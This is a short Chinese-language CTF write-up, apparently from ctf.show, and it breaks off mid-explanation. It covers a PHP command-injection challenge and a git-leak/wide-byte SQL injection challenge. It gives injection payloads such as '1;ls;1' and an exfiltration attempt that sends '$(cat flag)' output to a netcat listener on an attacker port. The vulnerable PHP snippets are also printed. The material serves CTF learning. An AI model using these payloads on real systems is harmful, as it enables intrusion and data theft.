签到题
<?php
if(isset($_GET['url'])){
system("curl https://".$_GET['url'].".ctf.show");
}else{
show_source(__FILE__);
}
?>
这个题,比较简单,直接使用分号,执行多个命令来绕过
payload:
1;ls;1
可以再次回顾一下,||,&&,&,|,;的作用
Linux的特殊符号
想法2:
其实这个题,看到curl,我想到了用反弹shell
?url=xxxx:10000?p=$(ls);1
?url=xxxx:10000?p=$(cat flag);1
nc -lvvp 10000
但是监听端口后,出现一堆乱码,我就不知道咋做了。
关于$()实现命令执行
给她
dirsearch扫描,发现git泄露
GitHack扫描
找到hint.php
<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>
看到addslashes,是个宽字节注入
这个函数是在单引号(’)、双引号(")、反斜线(\)与 NUL(null 字符)前加反斜杠。
这儿有个sprintf,不会输出,而是将格式化的字符串存入变量。
sprintf() 函数把格式化的字符串写入变量中。
arg1、arg2、++ 参数将被插入到主字符串中的百分号(%)符号处。该函数是逐步执行的。在第一个 % 符号处,插入 arg1